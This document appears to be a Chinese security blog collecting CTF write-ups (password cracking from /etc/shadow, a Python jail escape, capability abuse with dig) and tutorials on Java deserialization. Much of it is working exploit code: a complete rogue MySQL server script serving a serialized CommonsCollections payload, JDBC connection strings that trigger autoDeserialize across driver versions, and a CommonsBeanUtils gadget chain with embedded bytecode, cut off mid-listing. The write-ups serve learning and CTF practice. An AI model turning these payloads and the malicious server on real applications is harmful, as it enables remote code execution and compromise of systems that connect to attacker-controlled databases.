NSSCTFRound#12 Misc

Secrets in Shadow

题目描述:

隐藏于阴影之中,会是什么呢
使用ssh连接端口,用户为”ctf”,密码为”ctf”

ssh连上,一手ls,然后cat flag,发现权限不够,开始提权,正好这周学了提权嘿嘿,强推tryhackme

由标题可以联想到/etc/shadow文件,用于存储 Linux 系统中用户的密码信息,/etc/passwd 文件,由于该文件允许所有用户读取,易导致用户密码泄露,因此 Linux 系统将用户的密码信息从 /etc/passwd 文件中分离出来,并单独放到了此文件中。

访问一下,ohhh,有权限访问,那就开始爆破密码

首先把/etc/passwd/etc/shadow文件内容复制到自己的kali,因为目标机没有相关环境嘛

然后使用unshadow工具把密码信息转化成可被攻击的信息文件

1
unshadow passwd shadow > mypasswd

接着用john工具暴力破解即可

1
john mypasswd

过几秒就得到了root用户的密码,然后ssh连上读flag内容即可

1
cat /home/ctf/flag

strange python

好欸,有一个python shell,但是怎么感觉怪怪的

看到这道题就让我想起来HNCTF2022里空白✌(Crazyman)出的的pyjail逃逸套题,tql

然后我就去春哥的博客里找能不能做的思路

首先看起来就是一个python的shell,没看出什么特别的,那就为了方便,用命令行正常拿flag试试看

1
__import__('os').system('sh')

shell很正常的出来了,然后我就找了半天flag在哪,既然不好找,那就康康docker的部署命令怎么写的吧

这下发现哩,在/opt/python/preload.py里放着,直接cat读取是读不到的,因为权限不够,Linux提权的手法我学过的sudo、suid这些都试了试,不太行

那就浅浅试试dir()康康有啥好东西,发现__flag__读出来是打乱的flag,怎么重组起来呢,可以发现除此之外还有randomseed以及shuffleseed可以获取到是114514,那这里shuffle随机排列的也就是伪随机了,开始复原

可以发现列表的元素都是两个两个的字符,那就开始写个逆向脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import random
from random import shuffle

random.seed(114514)
flag=['77', '6d', 'c5', 'SC', '-4', 'f-', '18', '5a', '5a', 'NS', '80', '5e', '1}', 'TF', '-a', '90', 'b6', '88', 'c5', 'c2', '{6', '4-']

length = len(flag)
list1 = []
for i in range(length):
list1.append(str(i))
print(list1)
shuffle(list1)
list2 = list1
print(list2)
result = ""
for i in range(length):
index = list2.index(str(i))
result += flag[index]
print(result)

方法二:除此之外还可以执行open()获得flag,因为我们已知flag的路径

1
open('/opt/python/preload.py').read()

ability

题目描述:

能力越大,越危险
使用ssh连接端口,用户为”ctf”,密码为”ctf”

由题目描述联想到Capabilities提权,直接getcap -r / 2>/dev/null搜索可利用的二进制可执行文件,发现dig命令,可以在GTFOBins查找到这个命令可读取文件内容,直接dig -f flag即出flag

Java安全之JDBC反序列化

前言

首先导入依赖项到pom.xml

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.12</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

JDBC简介

JDBC(Java DataBase Connectivity)是 Java 与数据库之间的桥梁,是 Java 提供对数据库进行连接、操作的标准API。Java 自身并不会去实现对数据库的连接、查询、更新等操作,而是通过抽象出数据库操作的 API 接口,即 JDBC 。不同的数据库提供商必须实现 JDBC 定义的接口从而也就实现了对数据库的一系列操作。本文针对 MySQL 数据库

JDBC对数据库操作一般有以下步骤:

  1. 导入包含数据库编程所需的 JDBC 类的软件包。通常,使用 import java.sql.*就足够了

  2. 初始化 JDBC 驱动程序(driver),以便您可以打开与数据库的通信通道。这个在不同版本有所区别,从 mysql-connector-java 6开始com.mysql.jdbc.Driver被弃用了,改用新的驱动com.mysql.cj.jdbc.Driver,然后利用Class.forName()方法加载即可

  3. 与数据库建立连接。利用DriverManager中的getConnection方法创建一个与数据库服务器的物理连接的 Connection 对象,通过JDBC url,用户名,密码来连接相应的数据库,而JDBC url的格式是:

    1
    jdbc:mysql://host:port/database_name?arg1=value1&arg2=value2...
  4. 执行数据库查询。需要使用 Statement 类型的对象来构建 SQL 语句并将其提交到数据库

  5. 清理:需要显式关闭所有数据库资源,而不是依赖 JVM 的垃圾回收。

代码示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.sql.*;  // 1.导入软件包

public class Test {
public static void main(String[] args) throws Exception {
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/security?serverTimezone=UTC"; // serverTimezone设置时区
String username = "root";
String password = "root";
String sql = "select * from users";

Class.forName(driver); // 2.初始化JDBC驱动程序(Driver)
Connection conn = DriverManager.getConnection(DB_URL, username, password); // 3.与数据库建立连接
Statement statement = conn.createStatement(); // 4.1 创建Statement对象
ResultSet query = statement.executeQuery(sql); // 4.2 执行SQL查询
while (query.next()) {
System.out.println(query.getString("id") + " : " + query.getString("username")); // 打印查询结果
}
statement.close();
conn.close(); // 5.主动销毁,断开连接
}
}

漏洞分析

首先我们要触发反序列化攻击,就需要调用到readObject()方法,也就是要寻找哪里调用了readObject()方法且参数可控

由这个思路可以找到ResultSetImpl#getObject()方法,其中这段代码里面就调用了readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
switch (field.getMysqlType()) {
// 获取的字段的mysql类型必须为BIT
case BIT:
// 判断数据是不是blob或者二进制数据
if (!field.isBinary() && !field.isBlob()) {
return field.isSingleBit() ? this.getBoolean(columnIndex) : this.getBytes(columnIndex);
} else {
byte[] data = this.getBytes(columnIndex);
// 获取连接属性的autoDeserialize是否为true
if (!(Boolean)this.connection.getPropertySet().getBooleanProperty("autoDeserialize").getValue()) {
return data;
} else {
Object obj = data;
if (data != null && data.length >= 2) {
// 判断数据前两个字节是否为-84和-19,Java对象序列化数据的标志
if (data[0] != -84 || data[1] != -19) {
return this.getString(columnIndex);
}

try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close();
} catch (ClassNotFoundException var13) {
throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + var13.toString() + Messages.getString("ResultSet._while_reading_serialized_object_92"), this.getExceptionInterceptor());
} catch (IOException var14) {
obj = data;
}
}

return obj;
}
}

要进入到里层调用readObject()要满足几个条件才行。这里参数还不可控,那么继续找哪里调用了getObject(),接着跟进到com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap(),如果这里的rs变量传入的是ResultSetImpl对象的话,就可以调用到最上面的getObject方法

1
2
3
4
5
6
public static void resultSetToMap(Map mappedValues, ResultSet rs) throws SQLException {
while(rs.next()) {
mappedValues.put(rs.getObject(1), rs.getObject(2));
}

}

接着继续找哪里调用了该方法,跟进com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues(),它在内部调用了resultSetToMap()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private void populateMapWithSessionStatusValues(Map<String, String> toPopulate) {
Statement stmt = null;
ResultSet rs = null;

try {
try {
toPopulate.clear();
stmt = this.connection.createStatement();
rs = stmt.executeQuery("SHOW SESSION STATUS");
ResultSetUtil.resultSetToMap(toPopulate, rs);
} finally {
if (rs != null) {
rs.close();
}

if (stmt != null) {
stmt.close();
}

}

} catch (SQLException var8) {
throw ExceptionFactory.createException(var8.getMessage(), var8);
}
}

继续找哪里调用了populateMapWithSessionStatusValues(),最后我们找到了ServerStatusDiffInterceptor#preProcess()方法

而调用preProcess()比较特殊。先要了解一个参数queryInterceptors,这个参数具体参考官方文档

简单来说参数queryInterceptors就是指定一个或者多个实现了com.mysql.cj.interceptors.QueryInterceptor接口的类,然后在进行SQL查询操作之前,执行该类中的一个方法从而来影响最终的查询结果,而这个方法就是preProcess方法。(在查询完之后,还会调用其postProcess方法在此进行一个处理)

因此在 JDBC URL 中设定属性queryInterceptorsServerStatusDiffInterceptor时,执行查询语句会调用拦截器的preProcess()方法,进而通过上述调用链最终调用readObject()方法。而通过JDBC连接数据库的时候,会有几个内置的SQL语句会被执行。

这里我们可以本地测试验证一下,这里使用wireshark

然后写一个简单的demo连接本地数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.sql.*;

public class Test {
public static void main(String[] args) throws Exception {
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/security?serverTimezone=UTC&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";
String username = "root";
String password = "root";

Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL, username, password);
conn.close();
}
}

然后使用tcp.port ==3306 && mysql 来过滤协议,就可以看到这个过程了

结合上面的分析,如果参数和JDBC url可控,就能执行反序列化,存在CC和CB链的反序列化漏洞时就可以进行漏洞利用。而这个参数就是查询语句的结果集,因此假如JDBC url可控,我们就可以让它连接任意Mysql服务器,就可以搭建恶意MySQL服务器来控制这两个查询的结果集,结合控制JDBC url中的连接设置项,就可以构成JDBC反序列化漏洞

恶意MySQL编写

接下来需要做的就是写一个假的恶意MySQL服务,当目标主机连接到恶意MySQL服务进行查询时,返回构造好的数据。

这里难点就是返回什么数据,这里主要考虑show session status响应包的编写,前面的过程按照wireshark抓包的过程直接引用下来

对于查询数据包的响应包可以分为四种:错误包(ERR Packet)、正确包(OK Packet)、 Protocol::LOCAL_INFILE_Request、结果集(ProtocolText::Resultset)。这部分我们需要构造的是结果集这种数据包。

这里偷了张大佬图,结果集响应包结构如下图所示

在wireshark可以看到这些数据段

  • 数据段1 column count:说明下面的结果集有多少列
  • 数据段2 field packet:列的定义
  • 数据段3 intermedate EOF: EOF 包
  • 数据段4 row packet:行数据。
  • 数据段5 response EOF : EOF包

其中各字节代表的含义再次不做过多介绍,因为wireshark清晰的显示了哪些字节表示什么含义

这里就显示了这三个字节表示包数据长度为1

这里关注我们构造好的payload放哪能被反序列化到,也就是结果集在包中怎么存在的,查看本地测试的流量包可以发现,查询到的数据是放在row packet里面的,row packet的前三个字节表示长度,第四个字节表示包序号,第五个字节表示行数据的长度。那么构造关键就在这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mysql_data = ""
column_count = "0100000102"
field_packet1 = "4e0000020364656612696e666f726d6174696f6e5f736368656d6106535441545553065354415455530d5661726961626c655f6e616d650d5641524941424c455f4e414d450c2100c0000000fd0100000000"
field_packet2 = "470000030364656612696e666f726d6174696f6e5f736368656d6106535441545553065354415455530556616c75650e5641524941424c455f56414c55450c2100000c0000fd0000000000"
intermediate_EOF = "05000004fe00002200"
row_packet = ""
response_EOF = "0500003dfe00000200"
# 获取payload
payload_content = get_payload_content()
# 计算payload长度
payload_length = str(hex(len(payload_content) // 2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# 计算数据包长度
data_len = str(hex(len(payload_content) // 2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
row_packet += data_len_hex + '04' + 'fbfc' + payload_length_hex
row_packet += str(payload_content)

mysql_data = column_count + field_packet1 + field_packet2 + intermediate_EOF + row_packet + response_EOF

上面介绍payload前面那个字节表示payload的长度,如果说payload过长,需要两个或者多个字节来表示长度的话,就需要在前面加上一个fc

最终fakeMySQL服务器代码为,这里参考大佬的自己写了一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import binascii
import socket

greeting_data = "4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_OK_data = "0700000100000002000000"
session_auto_increment_increment_data = "01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c21000c000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c21002d000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210006000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21007e000000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a00000000005000015fe0000020098000016013104757466380475746638047574663804757466380f757466385f67656e6572616c5f6369000532383830300347504c013107313034383537360236300130024f4e2a4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce40653595354454d0f52455045415441424c452d5245414405323838303005000017fe00000200"
show_warnings_data = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'


def run():
# 被动接受TCP客户端连接,(阻塞式)等待连接的到来,conn是新的套接字对象,用户收发数据,addr是连接客户端的地址
conn, addr = s.accept()
print("Connection come from {}:{}".format(addr[0], addr[1]))

# 服务端发送greeting报文
send_data(conn, greeting_data)
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn, response_OK_data)

# 模拟后面的交互过程
while 1:
# 接收报文
data = receive_data(conn)
response_data = ""
# 判断客户端操作,响应对应内容
if "session.auto_increment_increment" in data:
response_data = session_auto_increment_increment_data
elif "show warnings" in data:
response_data = show_warnings_data
elif "set character_set_results" in data or "set names" in data:
response_data = response_OK_data
elif "show session status" in data:
response_data = get_payload_data()
else:
break
send_data(conn, response_data)


def send_data(conn, data):
print("[*] Sending the package : {}".format(data))
# 发送TCP数据,参数为string; a2b_hex()将16进制转换为字符串
conn.send(binascii.a2b_hex(data))


def receive_data(conn):
# 接受TCP套接字的数据,以字符串形式返回
data = conn.recv(1024)
print("[*] Receiving the package : {}".format(data))
return str(data).lower()


def get_payload_content():
# 生成的序列化数据到文件
file = "payload"
try:
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()), encoding='utf-8')
print("[+] open successs")
except:
payload_content = 'aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
print("[!] open false, by default")
return payload_content


def get_payload_data():
column_count = "0100000102"
field_packet1 = "1a000002036465660001630163016301630c3f00ffff0000fc9000000000"
field_packet2 = "1a000003036465660001630163016301630c3f00ffff0000fc9000000000"
intermediate_EOF = "" # 这里加了EOF不能成功调用,怪,目前猜测数据包校验问题,还没尝试
row_packet = ""
response_EOF = "0500003dfe00000200"
# 获取payload
payload_content = get_payload_content()
# 计算payload长度
payload_length = str(hex(len(payload_content) // 2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# 计算数据包长度
data_len = str(hex(len(payload_content) // 2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
row_packet += data_len_hex + '04' + 'fbfc' + payload_length_hex
row_packet += str(payload_content)

mysql_data = column_count + field_packet1 + field_packet2 + intermediate_EOF + row_packet + response_EOF
return mysql_data


if __name__ == '__main__':
host = "0.0.0.0"
port = 3309
# 创建socket对象,面向网络的TCP套接字
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 设置给定套接字选项的值, SO_REUSEADDR表示允许重用本地地址和端口,为了实验的时候不用等待很长时间
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 绑定地址(host,port)到套接字
s.bind((host, port))
# 开始 TCP 监听,等待客户端连接,参数是 backlog 指定在拒绝连接之前,操作系统可以挂起的最大连接数量
s.listen(1)
print("start fake mysql server listening on {}:{}".format(host, port))
run()

Java Client代码为

1
2
3
4
5
6
7
8
9
10
11
12
import java.sql.*;

public class Test {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?serverTimezone=UTC&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";

Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
conn.close();
}
}

不同 MySQL-JDBC-Driver 的 JDBC设置

8.x

上面就是用8.0.12分析的

1
jdbc:mysql://127.0.0.1:3309/mysql?serverTimezone=UTC&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

6.x

参数名不同,queryInterceptors 换为 statementInterceptors

1
jdbc:mysql://127.0.0.1:3309/mysql?serverTimezone=UTC&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

>=5.1.11的5.x

旧的驱动包名中没有cj

1
jdbc:mysql://127.0.0.1:3309/mysql?serverTimezone=UTC&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

5.x <= 5.1.10

连接到数据库后还需要额外执行查询

5.1.29 - 5.1.40

1
jdbc:mysql://127.0.0.1:3309/mysql?detectCustomCollations=true&autoDeserialize=true

5.1.28 - 5.1.19

1
jdbc:mysql://127.0.0.1:3309/mysql?autoDeserialize=true

参考链接:

JDBC 反序列化漏洞分析& POC 编写 | 山石网科

小白看得懂的MySQL JDBC 反序列化漏洞分析 | Tri0mphe

Java安全之CommonsBeanUtils链

Commons BeanUtils

首先pom.xml导入依赖项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>

Apache Commons项目的一个 Java 类库,提供了一组简单易用的API来操作 Java 对象和 Bean 属性。它的主要功能是将Java Bean的属性值与一组键值对(例如,从HTTP请求或表单参数中)相互转换。主要对 JavaBean 功能的增强。以 Utils 结尾,一般这都是一个工具类/集。

JavaBean是一种特定的Java类,它遵循一定的规范和格式,以便于被其他程序使用和操作。JavaBean类设置有构造函数,私有属性和公共 getter/setter 方法:JavaBean 类通常会包含一些私有属性,而这些属性必须通过公共的 getter 和 setter 方法进行访问和修改。这是为了保证 JavaBean 类的封装性,同时也方便外部程序对 JavaBean 对象的属性进行操作。比如下面这个 JavaBean 示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class People {
private String name = "ph0ebus";
private int age = 18;

public People() {
}

public People(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}
}

在Commons-Beanutils的 Java 库中的 PropertyUtils 类提供了一些方法能够动态调用 getter / setter 方法,获取属性值。

PropertyUtils.getProperty

1
2
3
4
5
6
7
8
9
import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.InvocationTargetException;

public class CommonsBeanUtils {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
System.out.println(PropertyUtils.getProperty(new People(),"name"));
}
}

这样就能调用到创建的对象的对应 name 属性的 getter 方法,除此之外,PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取

利用链剖析

首先我们知道这个方法可以调用对象的 getter 方法,那就继续看哪个 getter 方法能够达到利用效果。在CC3动态加载类利用链有符合这个条件的方法getOutputProperties()可以调用到newTransformer()方法,最终加载字节码实现命令执行

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

因此我们可以通过PropertyUtils.getProperty方法调用这个getter方法,但怎么从反序列化的readObject()方法调用到PropertyUtils.getProperty这个静态方法呢,继续找哪里会调用这个方法,可以发现熟悉的compare()方法,只是这次在BeanComparator类中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public int compare(T o1, T o2) {
if (this.property == null) {
return this.internalCompare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property); // <-- 此处调用
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}

BeanComparator类是commons-beanutils用来比较两个JavaBean是否相等的类,它实现了java.util.Comparator接口,自然就会有compare方法。这里只要在o1这个位置上放我们构造好的TemplatesImpl对象,在property这个位置上放OutputProperties,就可以成功调用到TemplatesImpl#getOutputProperties()方法了。

OK,至于如何调用这个compare()方法,就可以参考cc2的调用链

1
PriorityQueue.readObject -> PriorityQueue.siftUpUsingComparator -> BeanComparator.compare

这样整个链子就通了

编写PoC链

调用链如下

1
2
3
4
5
6
7
8
PriorityQueue.readObject -> 
PriorityQueue.siftUpUsingComparator ->
BeanComparator.compare ->
TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

首先和CC3一样设置好TemplatesImpl对象

1
2
3
4
5
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "ph0ebus");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后实例化BeanComparator,用于后面给PriorityQueue初始化传入比较器(comparator)

1
BeanComparator beanComparator = new BeanComparator();

然后创建PriorityQueue类的对象,利用其构造方法传入比较器beanComparator,这里就和CC2差不多了

1
2
3
Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);

最后利用反射机制放入我们恶意构造的TemplateImpl对象和outputProperties,使其能够调用到TemplatesImpl#getOutputProperties(),完成后面一系列调用

1
2
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

完整PoC链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
import java.util.Queue;

public class CommonsBeanUtils {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
